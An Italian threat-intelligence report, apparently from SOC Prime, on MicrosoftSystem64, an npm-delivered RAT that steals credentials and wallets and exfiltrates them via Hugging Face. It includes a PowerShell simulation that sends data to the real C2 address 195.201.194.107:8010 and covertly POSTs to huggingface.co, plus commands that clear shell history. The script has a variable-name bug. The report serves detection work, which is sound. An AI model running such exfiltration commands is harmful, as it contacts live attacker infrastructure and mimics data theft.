MicrosoftSystem64: Un RAT della Catena di Fornitura che Esfiltra Dati a Hugging Face

SOC Prime Team

Segui

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riassunto

Un pacchetto npm dannoso chiamato js-logger-pack è stato utilizzato per distribuire un’applicazione Node.js a singolo eseguibile cross-platform chiamata MicrosoftSystem64. Il binario funziona come un trojan di accesso remoto completo, capace di rubare estensioni di portafogli di criptovaluta, credenziali memorizzate nei browser, chiavi SSH, dati di sessione di Telegram e screenshot. Le informazioni rubate sono esfiltrate attraverso dataset privati di Hugging Face utilizzando un token API compromesso, mentre il traffico di comando e controllo è gestito attraverso un server WebSocket a 195.201.194.107:8010. La campagna è stata collegata a un attore di minacce associato alla Corea del Nord che ruota gli account npm e Hugging Face per mantenere l’accesso e sostenere le operazioni.

Indagine

SafeDep ha analizzato il campione di malware e ha estratto la configurazione cifrata in XOR, l’endpoint di comando e controllo, il token Hugging Face e una lista di più di 80 ID di estensioni di portafogli mirati. I ricercatori hanno anche esaminato i metodi di persistenza utilizzati su sistemi Windows, macOS e Linux e hanno ricostruito l’intera catena di esfiltrazione coinvolgente le API di Hugging Face. La validazione in tempo reale del 28 maggio ha confermato che i dataset attivi stavano ancora ricevendo screenshot e archivi di credenziali presi da vittime reali.

Mitigazione

Le organizzazioni dovrebbero rimuovere immediatamente qualsiasi pacchetto npm dannoso noto legato a questa campagna, ruotare le credenziali compromesse, le chiavi SSH e i semi di portafogli di criptovaluta, e monitorare l’attività non autorizzata dell’API Hugging Face. Le protezioni degli endpoint dovrebbero rilevare il nome del processo MicrosoftSystem64 e qualsiasi creazione di attività programmata correlata. I controlli di rete dovrebbero anche bloccare il traffico in uscita all’indirizzo IP identificato di comando e controllo e limitare l’accesso imprevisto agli endpoint di Hugging Face da binari sconosciuti.

Risposta

Se MicrosoftSystem64 viene rilevato, isolare immediatamente il sistema interessato, terminare il processo dannoso, rimuovere i file installati e le attività programmate, e revocare il token Hugging Face compromesso. Gli investigatori dovrebbero raccogliere le prove forensi dai log e da qualsiasi percorso di dati esfiltrati, quindi notificare alle parti interessate e aggiornare gli strumenti di scansione delle dipendenze per bloccare i pacchetti dannosi nelle build future.

graph TB %% Definizione classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9966 classDef infra fill:#ff9999 %% Nodi strumenti e malware tool_npm[“Strumento – pacchetto npm `js-logger-pack` Descrizione Contiene binario SEA `MicrosoftSystem64`”] class tool_npm tool malware_binary[“Malware – Binario `MicrosoftSystem64` Descrizione ELF multipiattaforma impacchettato come SEA Node.js con configurazione XOR cifrata”] class malware_binary malware infra_c2[“Infrastruttura – C2 WebSocket IP 195.201.194.107 porta 8010”] class infra_c2 infra %% Nodi azione init_supply_chain[“Azione – T1195.001 Compromissione della supply chain L’attaccante pubblica il pacchetto npm malevolo `js-logger-pack` contenente il binario SEA”] class init_supply_chain action execution_ingress[“Azione – T1105 Trasferimento di strumenti in ingresso La vittima installa il pacchetto che esegue il binario Node.js incluso”] class execution_ingress action defense_obfuscation[“Azione – T1027.009 / T1027.004 File o informazioni offuscate Il binario ELF è impacchettato come SEA con configurazione XOR cifrata”] class defense_obfuscation action persistence_mechanisms[“Azione – T1547.001 / T1547.014 / T1543.001 / T1543.002 Persistenza Crea chiavi Run nel Registro, Active Setup, LaunchAgent macOS e servizio systemd Linux”] class persistence_mechanisms action defense_hide[“Azione – T1564.014 Offuscamento artefatti & T1497.002 Evasione sandbox Usa attributi estesi e controlli sull’attività utente”] class defense_hide action priv_esc[“Azione – Escalation privilegi tramite meccanismi di persistenza Riutilizzo di chiave Run o servizio per ottenere privilegi elevati”] class priv_esc action cred_browser[“Azione – T1217 Scoperta informazioni browser & T1555.003 Credenziali browser Esfiltra dati da Chrome, Edge, Firefox e wallet crypto”] class cred_browser action keylogging[“Azione – T1056.001 Keylogging Keylogger nativo registra tasti e clipboard su Windows/macOS/Linux”] class keylogging action collection_clip_video[“Azione – T1115 Dati clipboard & T1125 Cattura video Screenshot ogni 60s e monitoraggio clipboard”] class collection_clip_video action collection_db[“Azione – T1213.006 Dati da repository informativi: database Estrae DB browser, chiavi SSH, Telegram tdata e altri dati”] class collection_db action c2_communication[“Azione – T1105 Comunicazione C2 Connessione WebSocket C2 su 195.201.194.107:8010”] class c2_communication action exfiltration_hf[“Azione – Esfiltrazione via API HuggingFace Carica i dati rubati sull’account `jpeek998`”] class exfiltration_hf action impact_resource[“Azione – T1496.001 Hijacking risorse Furto di credenziali di wallet crypto per uso illecito”] class impact_resource action %% Flusso tool_npm –>|consegna| malware_binary malware_binary –>|abilita| init_supply_chain init_supply_chain –>|porta a| execution_ingress execution_ingress –>|porta a| defense_obfuscation defense_obfuscation –>|porta a| persistence_mechanisms persistence_mechanisms –>|abilita| defense_hide defense_hide –>|abilita| c2_communication persistence_mechanisms –>|abilita| priv_esc priv_esc –>|porta a| cred_browser cred_browser –>|porta a| keylogging keylogging –>|porta a| collection_clip_video collection_clip_video –>|porta a| collection_db collection_db –>|porta a| c2_communication c2_communication –>|usa| infra_c2 c2_communication –>|porta a| exfiltration_hf exfiltration_hf –>|risultato| impact_resource

Flusso di Attacco

Narrativa di Attacco & Comandi:
Un attaccante ha già installato il “Microsoft System64 RAT” sull’host Windows compromesso. Per esfiltrare i dati rubati, il RAT esegue due azioni in parallelo:
1. Canale C2: Apre un socket TCP grezzo al server dannoso codificato 195.201.194.107 sulla porta 8010 e trasmette dati codificati in base‑64.
2. Esfiltrazione HTTP Nascosta: Invia una richiesta POST HTTPS a https://huggingface.co/api/upload con gli stessi dati incorporati nel corpo della richiesta, usando un user‑agent dall’aspetto legittimo per fondersi con il traffico normale.
Entrambe le azioni generano eventi del firewall in uscita che corrispondono alla regola Sigma.

Script di Test di Regressione:

# -------------------------------------------------
# Simulazione di Esfiltrazione RAT System64 (PowerShell)
# -------------------------------------------------
# 1. Preparare dati dummy di esfiltrazione
$dati = "DatiSegreti$(Get-Date -Format o)" | ConvertTo-Json
$b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))

# 2. Inviare dati tramite TCP grezzo (C2)
$ipC2   = "195.201.194.107"
$portaC2 = 8010
try {
    $tcpClient = New-Object System.Net.Sockets.TcpClient($ipC2, $portaC2)
    $stream    = $tcpClient.GetStream()
    $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
    $stream.Write($bytes, 0, $bytes.Length)
    $stream.Close()
    $tcpClient.Close()
    Write-Host "[+] Esfiltrazione TCP inviata a $ipC2:$portaC2"
} catch {
    Write-Error "[-] Connessione TCP fallita: $_"
}

# 3. Inviare dati tramite HTTPS a HuggingFace (esfiltrazione nascosta)
$uri = "https://huggingface.co/api/upload"
try {
    Invoke-WebRequest -Uri $uri `
        -Method POST `
        -Body @{ data = $b64 } `
        -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
        -UseBasicParsing
    Write-Host "[+] Esfiltrazione HTTP inviata a huggingface.co"
} catch {
    Write-Error "[-] Richiesta HTTP fallita: $_"
}

Comandi di Pulizia:

# Rimuovere qualsiasi artefatto di rete residuo
Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
    ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }

# Cancellare la cronologia di PowerShell (opzionale)
Clear-History

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis